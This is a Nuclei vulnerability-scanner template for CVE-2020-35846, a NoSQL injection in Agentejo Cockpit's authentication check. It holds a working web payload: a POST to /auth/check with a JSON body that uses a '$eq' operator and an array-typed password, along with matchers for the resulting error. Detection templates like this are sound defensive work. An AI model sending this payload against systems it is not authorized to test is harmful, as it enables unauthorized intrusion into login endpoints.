nuclei-templates/cves/2020/CVE-2020-35846.yaml

49 lines
1.2 KiB
YAML

id: CVE-2020-35846
info:
name: Agentejo Cockpit < 0.11.2 NoSQL Injection
author: dwisiswant0
severity: critical
description: Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. The $eq operator matches documents where the value of a field equals the specified value.
reference:
- https://swarm.ptsecurity.com/rce-cockpit-cms/
- https://nvd.nist.gov/vuln/detail/CVE-2020-35846
- https://getcockpit.com/
- https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-35846
cwe-id: CWE-89
tags: cve,cve2020,nosqli,sqli,cockpit,injection
requests:
- method: POST
path:
- "{{BaseURL}}/auth/check"
headers:
Content-Type: application/json
body: |
{
"auth": {
"user": {
"$eq": "admin"
},
"password": [
0
]
}
}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "password_verify() expects parameter"
# Enhanced by mp on 2022/04/28